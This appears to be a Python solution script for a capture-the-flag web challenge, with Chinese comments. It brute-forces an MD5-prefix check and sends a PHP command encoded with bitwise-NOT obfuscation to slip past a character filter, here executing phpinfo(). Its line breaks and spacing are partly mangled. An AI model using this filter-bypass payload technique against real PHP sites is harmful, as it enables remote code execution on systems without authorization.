import hashlib import math import requests import re
defone(s): ss = b"[~" for each in s: ss += (255 - ord(each)).to_bytes(1, 'little') ss += b"][~\xCF](" return ss defget_not(a): # 将命令转为[~\x8F\x8D\x96\x91\x8B\xA0\x8D][~\xCF]();的形式 aa = a.split("(") s = b"" for each in aa[:-1]: s += one(each) s += b")" * (len(aa) - 1) + b";" # print(s) return s
url = 'http://node4.anna.nssctf.cn:28583/' sess = requests.session() # 注意这里用session()是为了保持会话状态 res = sess.get(url=url) sum = re.findall(',0,5[)]==(.....)', res.text)[0] # 获取5位哈希值 print(sum)
code = '' for i inrange(800000): # 爆破 不成功多试几次 md5 = hashlib.md5(str(i).encode()) if md5.hexdigest()[:5] == sum: print(i) code = i break
1 2
res = sess.post(url=url, data={"cmd":get_not('phpinfo();'), "code":code}) print(res.text)